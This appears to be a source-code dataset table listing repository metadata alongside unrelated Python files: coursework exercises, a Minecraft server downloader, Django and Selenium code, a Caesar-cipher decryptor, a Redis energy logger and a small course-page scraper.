blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 91 | license_type stringclasses 2
values | repo_name stringlengths 3 135 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 68 | visit_date timestamp[ns]date 2015-07-25 20:53:29 2023-09-06 10:46:05 | revision_date timestamp[ns]date 1970-01-01 00:00:00 2037-05-03 13:00:00 | committer_date timestamp[ns]date 1970-01-01 00:00:00 2036-02-09 17:40:36 | github_id int64 1.61k 691M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 24
values | gha_event_created_at timestamp[ns]date 2012-06-03 10:21:33 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-09-13 22:40:33 ⌀ | gha_language stringclasses 250
values | src_encoding stringclasses 27
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10M | extension stringclasses 289
values | filename stringlengths 1 218 | content stringlengths 6 10M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
eae332fd596f730e9456fe21332a0158180b7225 | 835ccc97db46c038ddaebbfede29a37e6aeafebf | /RunSimpleShow.py | 2f7a119ac1763f815778cc6dc6c0e826520bef76 | [
"MIT"
] | permissive | brucelowekamp/christmaslights | 31db05b35ab5dbc2785d9dcf91eabfe60c962df3 | 96762609d3e53039af5a81f42fe8a82903793774 | refs/heads/master | 2022-12-24T10:17:08.236210 | 2022-12-23T03:02:10 | 2022-12-23T03:02:10 | 220,858,418 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,375 | py | RunSimpleShow.py | # run overall system without grinch
# single paramater --showname is name of show in shows directory
from ola.ClientWrapper import ClientWrapper
from Relays import Relays
from Show import Show
from Options import Options
import os
import sys
import time
pythonexec = sys.executable
def ShownameArg(parser):
parser.a... |
18a9ace1d1f4d4a02fe333a1f1d0912f2c0d8486 | eff95a7fe43bee3336773fc7ff292e0100b68dde | /18_palindrome_rearranging.py | c9619b50c1cc74ddb384f5a79e71163957c26d87 | [] | no_license | GiangHo/CodeFight | 5424646d13c15c851206ffc05b0f2a6b9a6f39ac | 2a1f120cd683a54ac12bc082c2ca71a55c026a5a | refs/heads/master | 2022-04-26T08:39:36.708725 | 2020-04-23T15:42:57 | 2020-04-23T15:42:57 | 258,249,581 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | 18_palindrome_rearranging.py | def palindromeRearranging(inputString):
dict_string = {}
count = 0
for i in inputString:
if dict_string.get(i) is None:
dict_string[i] = 1
else:
dict_string[i] = dict_string.get(i)+1
for k, v in dict_string.items():
if v%2!=0:
count = count +1
... |
fa5b717c1fa282cc1dad1b7a615376cd286b84ec | 6a93f891c0eb92273999100ffe888f5358624114 | /towers.py | 8e2476526b07d3018b8640f1121ff9896e4b3f6b | [] | no_license | jus-kosmac/persistence_of_eigenspaces | 81320866afbc1600d581d6bb451b3d8dd3d72528 | 74f0c988fe0d49ccf33b51657574781bf36b0b09 | refs/heads/master | 2020-05-02T23:24:56.834417 | 2019-12-11T14:51:26 | 2019-12-11T14:51:26 | 178,279,421 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,591 | py | towers.py | import rips
import sympy as sp
import copy
def add_columns(col1, col2, d, mod):
"""Add d-times col2 to col1, return new column as a result. All operations are done modulo mod.
Parameters:
col1, col2 -- columns, given as lists of pairs (row index, value in row), ordered by decreasing row index
d, mod ... |
22b24f51f481ce06af75175320eac8b626dd3538 | 5699615957aee191a2a5030fc44928e8de1cbb8f | /tfidf.py | 37320d08805515c623dc5a808215af65a99bceb4 | [] | no_license | xiahei/naive-bayes | 9d1b844d763df6151f3db23560b05686abcdb35d | 51a1352ac6b5e55e414e62772659f18ccd8ffd6b | refs/heads/master | 2021-03-27T12:47:55.308146 | 2017-09-12T08:22:17 | 2017-09-12T08:22:17 | 103,212,701 | 0 | 0 | null | 2017-09-12T07:08:37 | 2017-09-12T02:36:00 | Python | UTF-8 | Python | false | false | 3,182 | py | tfidf.py | #-*-coding:utf-8-*-
#feature selection
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 2:
print 'input parameter error'
print 'e.g. python tfidf.py ent'
import math
classname = sys.argv[1]
import time
start = time.time()
#tf 词频 = 某个词在文章中出现的总次数/文章的总词数
#这边计算了每个类... |
774d33e815b8d75a26be5241d0d80b685600c942 | 6366cad48d2b31ae84f221a142f996f346454de6 | /controls/raspberry-pi/augis_controller.py | 130099e6a0b30c23585b99969a5f61eac177a332 | [] | no_license | magasser/augis | d7c17cd43b32bed59dab5ebfe6890ef0b013cec0 | 754b37506ed67183a732686be533692431cb21c9 | refs/heads/main | 2023-07-18T01:00:04.466248 | 2021-08-28T11:36:47 | 2021-08-28T11:36:47 | 398,863,329 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 18,666 | py | augis_controller.py | """
Authors: Manuel Gasser, Julian Haldimann
Created: 02.03.2021
Last Modified: 17.06.2021
"""
import json
import logging as log
import time
from datetime import datetime as dt
import serial
from picamera import PiCamera
from picamera.exc import PiCameraMMALError, PiCameraError
from serial.serialutil import SerialExc... |
1d56d0ba1a8ea402b3d5f2dbdd3e798977806a92 | 628cb25f3439a267c835c128e682e9852440e083 | /problem-120.py | fa162c21e805bae9fedefb9adb4b4498d3b3cac5 | [] | no_license | hghimanshu/Project-Euler | 57d4add27ecc1c81e24c8c14d4d158db445ebe57 | fabcc6e603d98483c3b132f3417be9ca7824a079 | refs/heads/master | 2020-07-31T15:18:32.992381 | 2019-11-26T06:11:41 | 2019-11-26T06:11:41 | 210,651,271 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 232 | py | problem-120.py | def expression(A, rem):
if A %2 ==0:
rem += A*(A - 2)
else:
rem += A*(A - 1)
return rem
if __name__ == "__main__":
rem = 0
for i in range(3, 1001):
rem = expression(i, rem)
print(rem) |
3e06dcaf757b052f92f19b26c71bfdb378ce00b9 | ae6105df4499c99cad62fde8dd4b98164e1b9848 | /relaxation_oscillator_data_gen.py | 7713ee4acf45effca1aefe09df9b41f3db9fa89b | [] | no_license | JoeMcEwen/my-first-binder | f77844333b415e4be66b92076e241111a5c95700 | c8f7b88af6022e9b8dac8ea567b9c64f9919e5ca | refs/heads/main | 2023-05-12T11:29:23.488699 | 2021-06-09T19:19:23 | 2021-06-09T19:19:23 | 365,345,510 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,911 | py | relaxation_oscillator_data_gen.py | import numpy as np
from numpy import sin, cos, exp, pi
mu=1e-6
C=200*mu
V=90
R=10000
tau=R*C
V_b=80
V_e=40
t_e=-tau*np.log((V-V_e)/V)
T=R*C*np.log((V-V_e)/(V-V_b))
nt=1000
data_dict={}
data_dict["capacitor"]=C
data_dict["batter voltage"]=V
data_dict["resistor"]=R
data_dict["time constant"]=tau
data_dict["breakdown vo... |
487fc17c1ca467489aa3c24ff1fa75873dfce77b | a3aac50db147478b784d235fe1ae2b0caefc3a37 | /pinyin_utils.py | d0908cd7ce451affcbdbf60acda79a3844aec6b9 | [] | no_license | hanayashiki/Polyphone | 3f1efdb8481bf5e4e24134f132627cd07a5f0296 | 445213af98874a5b425c60d3beb98e7bede5d872 | refs/heads/master | 2020-03-22T03:33:00.371198 | 2018-07-30T06:48:34 | 2018-07-30T06:48:34 | 139,438,055 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,301 | py | pinyin_utils.py | def to_numbered_tone(pinyin_token: str) -> str:
vowel_to_number_plain_vowel = {
'ā': (1, 'a'),
'á': (2, 'a'),
'ǎ': (3, 'a'),
'à': (4, 'a'),
'ō': (1, 'o'),
'ó': (2, 'o'),
'ǒ': (3, 'o'),
'ò': (4, 'o'),
'ē': (1, 'e'),
'é': (2, 'e'),
... |
b7dec8c6229e36670fe89d820d42d5d24e7f7cbe | a8eeca6f96bf869880f7f7cb2fa599db40884b01 | /Problems/apaxiaaans.py | 35b3cafe8cf9e27231acaef740beb6cc427b46ac | [
"Unlicense"
] | permissive | iHaveBecomeDeath/kattis-practice | 86cd473d9ad1baff6b713560ea38c6455aa374bb | 3ec52a7a50520228f778ba55278c84425e29f4f4 | refs/heads/master | 2021-01-24T10:54:42.772853 | 2018-11-13T12:56:03 | 2018-11-13T12:56:03 | 69,342,576 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 55 | py | apaxiaaans.py | import re
print(re.sub(r'([a-z])\1+', r'\1', input())) |
a6f876dd626287c874337cfc3dfd11cb6792d8d0 | 7fa9193029dbf0e116fa270620ba582b3a400fa1 | /mcserv/fetch.py | 58bad37eb484ec1749d4cf424427002dc93a6e7d | [
"MIT"
] | permissive | yonderbread/mcserv | f0bb8a8b019bcfeb1177491598ce64684e7711ea | 2d32f07936028bf570c6202dcb58f02decaa330e | refs/heads/master | 2023-05-29T04:25:57.570121 | 2021-03-22T20:41:22 | 2021-03-22T20:41:22 | 318,380,697 | 1 | 0 | MIT | 2023-05-23T00:43:14 | 2020-12-04T02:33:45 | Python | UTF-8 | Python | false | false | 3,101 | py | fetch.py | import requests
import os
import tqdm
VERSION_INDEX_URL = 'https://launchermeta.mojang.com/mc/game/version_manifest.json'
class ServerVersionDownload:
def __init__(self, version_id: str, downloads: dict):
if not downloads:
raise FileNotFoundError('Unable to request version data.')
se... |
d52e85ee99c7519c8d6fe167c541e3693f4e77df | 6978f86a394dce13703c5624acfe24efe51756ea | /tests/pages/project_page.py | 310bb3415d6f79d5a888ba0e3d4c37a87ac45a43 | [] | no_license | Divya1151/pytest-api-ui-python-test-framework | 4911a33e58b546703e96dd6eef221b831a2b3123 | 6167c6d67bbd8f6d4c47ba39183fffdb68813697 | refs/heads/master | 2023-04-12T02:55:30.587121 | 2021-05-10T03:55:02 | 2021-05-10T03:55:02 | 365,911,316 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,474 | py | project_page.py | import time
from selenium.webdriver import ActionChains
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as ec
from tests.pages.locators import ProjectPageLocators
from tests.pages.home_page import HomePage
from tests.util import util
class Project... |
2bb04d6d5a295c6e3d9e43f0c250c8554717f3da | 8df5b19c21dd32af87efb7d99ff2a57ff1af1aa7 | /testes.py | 559aac4b058f8ae1265bb1b3721cba167a9e87ef | [] | no_license | andreregino/introducao-python-usp-coursera | e6091596ff12eba8e31b42a2654d3229b406520e | abc5a5a3d6742f3557aecc9fbe6279480c4c1f4b | refs/heads/master | 2021-05-23T17:31:59.647443 | 2020-04-06T05:16:56 | 2020-04-06T05:16:56 | 253,401,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 116 | py | testes.py | def total_Caracteres (x, y, z):
return sum(len(x),len(y),len(z))
print(total_Caracteres("abc", "def", "ghij")) |
24a4dd07d26277e29e3fb6e6a20c49f1c23be0f6 | 3352d055f52ef4aed5a620d4fb92101289e147d7 | /backend/urls.py | c78d0a94d7fa514773c340bebeb9c2bfc205b7aa | [] | no_license | ugfly1210/django_rfw_version | e718863622b78dfdc29131544339b7efb2f34831 | c8af09cc6726aa0bf51f45dba4b6182f7660d9cd | refs/heads/master | 2021-05-03T04:48:12.371104 | 2018-02-07T14:35:20 | 2018-02-07T14:35:20 | 120,625,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 108 | py | urls.py | from django.conf.urls import url,include
from . import views
urlpatterns = [
# url(r'^666/', views.)
] |
8df365545d88df6bda6d11cf4d7462cb19686245 | 08bdd9bbff69c05559179d3240c1c4064f725e09 | /Table.py | cd07e3956ea427faa735f06ce19323cd3ddf58dd | [] | no_license | Blahclah/Shuffle-Machine | 9d08b5b9b1e8d4a8e938b40ec2503d45d798c28d | d10918a7630f8de84f430a5c8f0c8abf4dbd377e | refs/heads/master | 2021-02-13T02:57:36.383223 | 2020-03-06T14:47:57 | 2020-03-06T14:47:57 | 244,654,811 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 432 | py | Table.py | from ShuffleMachine import ShuffleMachine
from Players import Players
class Table(object):
def __init__(self, people):
self.people = people
self.deals = []
for j in range(len(self.people.players)):
self.deals.append(ShuffleMachine())
def __str__(self,people... |
812d76c6d12134454ba2ee8cc2e4d5401a245e73 | 42e256c68dcdeb116f1a45832836c442271a31f7 | /matplotlib_test10.py | fab44f21fca94d862daf2711adc1748bd1e71d64 | [] | no_license | dgwy2018/Data-Presentation | d59bb007b42932a100e3d22baab8460809d0aec7 | ee6ebf2a64e27b6b930379f1e1158052194f9758 | refs/heads/master | 2020-03-28T09:02:55.091856 | 2017-07-31T03:23:35 | 2017-07-31T03:23:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,138 | py | matplotlib_test10.py | # -*- coding: utf-8 -*-
"""
Created on Fri Jul 21 09:31:30 2017
实现多区域绘图(辅助subplot绘图的方法plt.subplot2grid())
@author: mav
"""
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridespec
gs = gridespec.GridSpec(3,3)#规定一个确定的区域。
#import matplotlib as mt
import numpy as np
a = np.arange(0.0,5.0,0.02)
b = np.aran... |
ae4697b3606faada1b55e9e056d9992c92070d13 | fb7827d430ebdbda2739396be5eab7b4533e3740 | /tf_lin_reg.py | 98832c2df52b97909e07a2ec7c9d4e7b3b615d14 | [] | no_license | syncerax/Linear-Regression-in-TensorFlow | 23022f1d57776eb74bdac26c888a21d79b8bc7c6 | 6d0ab32e72cf7f9cc1039a8e47ddc2277adfc4bd | refs/heads/master | 2021-09-26T10:25:34.732768 | 2018-10-29T08:46:17 | 2018-10-29T08:46:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,598 | py | tf_lin_reg.py | import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
from sklearn.model_selection import train_test_split
# Loading the dataset
dataset = np.loadtxt("data.txt", delimiter=',')
print(dataset.shape)
# Visualizing the data
plt.scatter(dataset[:, 0], dataset[:, -1])
plt.title("Data points")
plt.xlab... |
bcab1475f592a7127d0db4208f641b7fdd5d1cab | 973d220d6c2de19098873ecbfbc6fc21d0c2a074 | /blog/migrations/0005_auto_20210901_2355.py | 5725c938dd144844358e3b39a190713f1180514b | [] | no_license | firdavsDev/Blog-startup | ec503b423482e5e5e24777aac8895dfc37764fe5 | 5885b02e6b6d9b0bf4cbc73bda9e181c44ce5822 | refs/heads/main | 2023-08-25T17:43:17.683189 | 2021-10-19T08:42:34 | 2021-10-19T08:42:34 | 402,879,505 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 416 | py | 0005_auto_20210901_2355.py | # Generated by Django 3.1.7 on 2021-09-01 18:55
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0004_auto_20210901_2326'),
]
operations = [
migrations.AlterField(
model_name='post',
name='image',
... |
9b703422f2061c2f9dc2d2172dd5b8243943790f | f98a4f95064fc448d5f267c2a6239d1706b247e4 | /view_table/apps.py | dbe04dbd00d94ec87d7f10c0145f51f1ae2319f1 | [] | no_license | shinhaeran/inteligent | 51d50f949e0865ddd68417ce8d980e4a98fbbe16 | c23026cde8d2993ae21859a80c06fc6651291b6f | refs/heads/master | 2020-06-22T20:17:29.261973 | 2019-11-13T16:42:53 | 2019-11-13T16:42:53 | 198,388,855 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 94 | py | apps.py | from django.apps import AppConfig
class ViewTableConfig(AppConfig):
name = 'view_table'
|
b574082e5df61c4b012d50cddf011db7d4b5b9a1 | 16d6da39c1407f1a4f02ee444b0727bfc49e39c6 | /python/threading/multiprocess.py1 | 49a2fd88bcb29a084edbf62876d4be7841c76521 | [] | no_license | rajeshcode/codes | db25e1e4d61b6adb44acde2b0a04f947b21a40b4 | 4ac1ff9b4f33eec7f109bef32d36114f55a9331c | refs/heads/master | 2021-01-17T15:14:37.814685 | 2017-11-01T01:15:53 | 2017-11-01T01:15:53 | 14,294,081 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 628 | py1 | multiprocess.py1 | #!/usr/bin/python
import multiprocessing
import time
def first():
print "There is no problem here"
def second():
raise RuntimeError("Error raised!")
def third():
time.sleep(3)
print "This process will be terminated"
workers = [ multiprocessing.Process(target=first), multiprocessing.Process(target=second),... |
061cadead4ecd276acfaa371453110bd93cb2188 | b4b107c74e825ef9a887ff763a6c19ee37905199 | /scripts/nations/nations_v3.py | c0a66da7c49fec7ba5e1fdcea05ab52ebcb4a8e2 | [
"MIT"
] | permissive | leiloong/inferbeddings | 6fa21ea2f1925247e48e5c5b140333a150e43c49 | 80492a7aebcdcac21e758514c8af403d77e8594a | refs/heads/master | 2020-03-15T00:05:02.505112 | 2018-02-01T15:56:23 | 2018-02-01T15:56:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,416 | py | nations_v3.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import itertools
import os.path
import random
random.seed(1234)
NO_FOLDS = True
EPOCHS = 100
def cartesian_product(dicts):
return (dict(zip(dicts, x)) for x in itertools.product(*dicts.values()))
def to_str(configuration):
kvs = sorted([(k, v) for k, v in conf... |
c39a23e74d33349fb755f061880198fa97639865 | c9c2135df49b9822a0c14e65aacf2c8cf80e50b9 | /cryptographer/decryptor.py | 38375c2f61c66b2b44069faa8e6242922b10e962 | [] | no_license | alyssalern/cryptographer | 32bbd77c04c1473d8e86e93bfe53d9efdad48b15 | a083771bdce0792f38eb45bd71b919ba3a66a44c | refs/heads/master | 2020-12-10T06:03:28.514403 | 2020-01-13T05:26:55 | 2020-01-13T05:26:55 | 233,519,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | decryptor.py | from text_preanalyzer import TextPreanalyzer
from caesar_shift_strategy import CaesarShiftStrategy
class Decryptor:
def __init__(self):
self._preanalyzer = TextPreanalyzer()
self._decryption_strategies = [CaesarShiftStrategy()]
def decrypt(self, text):
cyphertext = self._prean... |
6adfe3354303cf45d0ce1411a52797506e8e21d9 | 92cc9ab5547f47a73cc8c855a559ddedfdedb80a | /Exercicios_Resolvidos/Parte 2/Semana 1/Tarefa _de_programação/dimensoes_matriz.py | f515b9e6f349be2d12ba0f7a9fe8f76bd75a1752 | [
"MIT"
] | permissive | EmersonAires/Introducao_a_ciencia_da_computacao_com_Python | f592c9cddb8a7a9ad7bb5ae51646ff2c88fa9194 | 152f95410a638d84adf97367be17ec67fdb8bf3c | refs/heads/main | 2023-08-05T11:50:58.970836 | 2021-09-19T12:55:53 | 2021-09-19T12:55:53 | 331,036,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 242 | py | dimensoes_matriz.py | def dimensoes(matriz):
n_linhas = len(matriz)
n_colunas = len(matriz[0])
print(str(n_linhas) + "x" + str(n_colunas))
#matriz = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
#matrizB = [[1, 1], [1, 1], [1, 1], [1, 1]]
#dimensoes(matrizB) |
0a8e4575d5f510d75298800988f52c7fabfbf3f7 | a44593c0d11cc9236cf9e8f97554705db85e5274 | /Projects/python/demo_docker/src/department/urls.py | f8c2ecd7c6db5c31760f72930336b4b1a382d931 | [] | no_license | setu-023/hrm | fcc6ca293e947fba5c8a265b5d45312fbbedef4d | 6e2e59ee2e68b7e622cc24bceb11a27e00d0b837 | refs/heads/master | 2022-06-19T06:55:49.169521 | 2020-07-23T19:14:31 | 2020-07-23T19:14:31 | 254,383,454 | 0 | 0 | null | 2022-05-25T05:06:54 | 2020-04-09T13:46:42 | Python | UTF-8 | Python | false | false | 349 | py | urls.py | from django.urls import path
from rest_framework.authtoken.views import obtain_auth_token
from department.views import DepartmentListCreateAPIView, DepartmentRetrieveUpdateDestroyAPIView
app_name = 'account'
urlpatterns = [
path('', DepartmentListCreateAPIView.as_view()),
path('<int:pk>', DepartmentRetrieveUpdateD... |
34003cf0e4a35febfc32bb6b2110cadaf87e5426 | 6ecbf084f558b37f0cee51c7226c1e116b5aa7bf | /dp/bkcde2.py | 3d37aa75763e302113c632d42a84280c48988f31 | [] | no_license | reichlab/bayesian_non_parametric | 364b12ad07b09e9a4386572bd47c709ad7629497 | c8d7eb7493addb919b8f7159768dc732ce1a1f35 | refs/heads/master | 2021-01-01T06:43:10.176687 | 2018-03-25T14:33:32 | 2018-03-25T14:33:32 | 97,492,688 | 2 | 0 | null | 2018-01-02T15:23:21 | 2017-07-17T15:38:01 | Python | UTF-8 | Python | false | false | 4,599 | py | bkcde2.py | import numpy as np
from autograd import grad
import numpy.matlib as nm
import emcee
import matplotlib.pyplot as plt
import copy
from random import shuffle
import time
from scipy.stats import multivariate_normal
from scipy.stats import norm
import math
import sys
from pyhmc import hmc
from svgd import SVGD
X_train = ... |
ef7006dfa055efbdb3e1e4f940c78aeef870dde2 | 45c9341116a6ca6337aaf7de622b5fd65c4f16b7 | /data_tren.py | e936f2070a823ec690c35cb7fc47715c7d02a7ba | [] | no_license | bandozia/hackathon_3108 | 1b1baae02cd678a1c1729be4b1e339aeb7cf48ad | 54fdbde329ec5bdc18bc8c49844a01077ae74b4e | refs/heads/master | 2020-07-08T13:10:53.103877 | 2019-08-30T21:42:34 | 2019-08-30T21:42:34 | 203,683,710 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,739 | py | data_tren.py | #%% imports
import numpy as np
import pandas as pd
import glob
import re
#%% carregar os dataframes
print("carregando df lojas...")
lojas_df = pd.read_csv("data/stores_details.csv")
print("carregando df transacoes...")
trans_df = pd.read_csv("data/part-00000-a05a0d4b-2b10-4dbb-b6ea-2eec0a3371f7-c000.csv", er... |
af2581d7ce87a3c081b7d5a7a5d66029270e5a2d | 5e72f7135036f9286e3f5f9bddce910cd860f0e6 | /tests/test_rotate.py | fdc05be66cd9cefb83d9e3878c8b9bb0a5dffdd5 | [] | no_license | il4i/rayglet | af7b0e766d2c93f8ee551cb98f51e8e5b4cf9308 | 8955ded9160c46d2d7b65b4e1f2d7d7862966c8a | refs/heads/master | 2022-07-21T01:29:03.297040 | 2020-05-13T13:45:10 | 2020-05-13T13:45:10 | 249,771,879 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 604 | py | test_rotate.py | import rcast
def print_pc(vis):
for col in vis:
print(str(col))
my_rcaster = rcast.Raycaster(30, 100, 1.5, 1.5)
grid = \
[[1, 1, 1, 1, 1],
[1, 0, 0, 0, 1],
[1, 0, 0, 0, 1],
[1, 0, 0, 0, 1],
[1, 1, 1, 1, 1]]
"""
[[1, 1, 1, 1],
[1, 0, 0, 1],
[1... |
84719e4ee70bdef20e000c4a3239153f2ed7344c | f2f211ed06a952fa1ce23e7a8a48951a1ac56498 | /mainCode.py | 756a822cafd7c4438d72608cc7a52b8482f94ada | [] | no_license | filixgator/Taqueria-L-O-S-W-E-R-O-S | 9c0a31e1063d2b4cec5bae689a3b63d61116f18e | 36d35caf3a73e4ba3f6cadb01373ae052d0952d9 | refs/heads/master | 2021-08-22T11:34:18.604660 | 2017-11-30T04:30:10 | 2017-11-30T04:30:10 | 103,484,070 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,025 | py | mainCode.py | import time
import random
import threading
import json
import boto3
import matplotlib.pyplot as plt
from prueba import graficar
from prueba import CREA
from copy import copy
from time import time as t
from threading import BoundedSemaphore
from pprint import pprint
from Queue import Queue
from datetime imp... |
1267a5436b438cd2518c876e655517b56706e258 | ad07f039ebefab355695742b6ce6a5c1f74a80b1 | /save_energy.py | 915c79e5c19baad57b40533bdbb0a40b3af09a72 | [] | no_license | zhouchangxiang/KN-hospital | 8dddd2c9eb8b4baf2e10eee998df95cf325d562e | 26cde813be263f15e64d6107e2786c5081c204f9 | refs/heads/master | 2023-03-25T13:12:45.627942 | 2021-03-24T08:29:05 | 2021-03-24T08:29:05 | 313,792,324 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,431 | py | save_energy.py | import time
import redis
from datetime import datetime, date, timedelta
# from database.db_operate import REDIS_PASSWORD, REDIS_HOST, REDIS_TABLENAME
from common.asd import db_session
# redis_coon = redis.Redis(host=REDIS_HOST, password=REDIS_PASSWORD, decode_responses=True)
redis_coon = redis.Redis(host='127.0.0.1'... |
379abf228d4e9020f45b0c027caf92806b3efe66 | 42bf0519bec003123eb835062f919bfbe64e3a1a | /model/DBConnection.py | 4b49dbbd4c0fb09cddb17dcf266987cb87e3efc1 | [] | no_license | mapeima/ball | 498ff5f99c217733c4a3af74aaa29bea3f3457da | 004d7e1a29ad242375e4cb17cbc09d40bc3d972c | refs/heads/master | 2021-07-04T09:05:51.853580 | 2020-09-01T11:01:07 | 2020-09-01T11:01:07 | 163,229,396 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,311 | py | DBConnection.py | import pymysql.cursors
class DBConnection:
"""Wrapper class for persistent database connection.
Attributes:
connection (pymysql.connections.Connection): The connection object to connect to the database.
cursor (pymysql.cursors.Cursor): The cursor object to execute statements to the database.
... |
453ac2809d82b134452e3b1a866184109804b692 | a82098a6c1022326b4eea3f51284389d3e2fcc95 | /scrape.py | e04a8127664f5c25e42a3ad74cf703317deabd52 | [] | no_license | prashantchawla/preregistration | 4c2cbac39a42370c2f4241ea25b29a73796840ef | 29a3575a2088763e7e76071cfbb1c32539d8eb6d | refs/heads/master | 2021-01-10T05:18:52.584622 | 2015-10-30T09:24:54 | 2015-10-30T09:24:54 | 45,184,472 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 863 | py | scrape.py | import urllib2
from bs4 import BeautifulSoup
import time
import requests
from requests.auth import HTTPProxyAuth
proxy = {'http': 'http://ironport1.iitk.ac.in:3128'}
auth = HTTPProxyAuth('chawlap', 'password')
oarsurl = "http://oars.cc.iitk.ac.in:4040/Utils/CourseInfoPopup.asp?Course="
with open("scrape.txt") as f:
... |
0f5266151297dfa5114bf31fe81c4a28b065f0b8 | 7b3c9261ec418fdb10b2e79a3d7e624507f46131 | /MoodleCrawler/utils.py | fe756106397201a41cbd0b5a681d7e78c93beebb | [] | no_license | Linwenye/MoodleCrawler | d715d12b534109e5498774fa734a50d04059dbc8 | 833e45cff06222e729a5e51fbade9dcf0fad38d9 | refs/heads/master | 2021-05-11T07:19:27.147051 | 2018-06-13T15:11:27 | 2018-06-13T15:11:27 | 118,015,290 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 785 | py | utils.py | import requests
from Crypto.Cipher import AES
from MoodleCrawler import config
def verify(email, password):
url = 'http://219.219.120.72/login/index.php'
formdata = {
'username': email,
'password': password,
'rememberusername': '1'
}
r = requests.post(url=url, data=formdata)
... |
c3951118b25a951d704a2f7b1c47a64603b66b71 | ea3272d707f3a6e5d097301d300a0ea97ddd82b5 | /psm/oop1/oop1_1/cls_mem_met.py | 8482e3fe57d7391bea44ac3318c8b0e1d7d58504 | [] | no_license | gambler1541/BootCamp | d05850f256ed7a8baa02545551176959a66a9bb3 | b025dd07a8fedd58366f96c9b516f134a95138f1 | refs/heads/master | 2020-04-07T07:21:51.363439 | 2019-06-08T11:10:27 | 2019-06-08T11:10:27 | 158,173,790 | 1 | 0 | null | 2018-11-19T06:38:36 | 2018-11-19T06:38:36 | null | UTF-8 | Python | false | false | 823 | py | cls_mem_met.py | class A:
# 클래스 멤버
c_mem = 10
# 데코레이터 클레스메서드
@classmethod
def cls_f(cls):
print(cls.c_mem)
def __init__(self, num):
self.i_mem = num
def ins_f(self):
print(self.i_mem)
#
# if __name__ == '__main__':
# # 객체가 없는 상태에서 클래스 이름을 통해 클래스 멤버 c_mem에 접근
# print(A.c_me... |
8bbdf4ec7ad0a020de0d17958b747a8af2edfc80 | 7e061ccc15256dfe3e2f8e9b1ec3f8e6e2dab946 | /edge_detection.py | 0492bab119c64c2c597bc0aefd2bd5a524873c49 | [] | no_license | bhawnachaudhary/DP_PY_DS_AUG_2021_330-Part-2 | 4f5038b769095b669436874e462455afd22661fd | 10bf98ee0a7d11020ebf9149c7cc8966042cbcb0 | refs/heads/main | 2023-08-24T04:48:43.005662 | 2021-10-25T11:28:50 | 2021-10-25T11:28:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | edge_detection.py | import cv2
cap = cv2.VideoCapture(0)
while True:
state, frame = cap.read()
if state:
out = cv2.Canny(frame,100,200)
cv2.imshow('original',frame)
cv2.imshow('edges',out)
if cv2.waitKey(1) == 27:
break
cap.release()
cv2.destroyAllWindows() |
57b7648490849329cb4253776df8e6ebf7e8fa49 | dbb1e22518565bc165c4bf49783da9e0f6fb97e9 | /tests/wsgitest_config.py | 27711a0e50f9a05ba26a8559ded96fcac6f58366 | [
"BSD-2-Clause"
] | permissive | isaiah/bjoern-py3 | b96dc7c9335bab0d73b63970f1d2ecb5d6e30c05 | c79d7b1b0691a305c1807b28fae2e9257867dc31 | refs/heads/master | 2021-01-16T22:00:25.048066 | 2013-06-06T23:14:14 | 2013-06-06T23:14:14 | 11,927,647 | 12 | 6 | null | null | null | null | UTF-8 | Python | false | false | 127 | py | wsgitest_config.py | import bjoern
SERVER_PORT = 9998
SERVER_BOOT_DURATION = 0.1
def run_server(app, host, port):
bjoern.run(app, host, port)
|
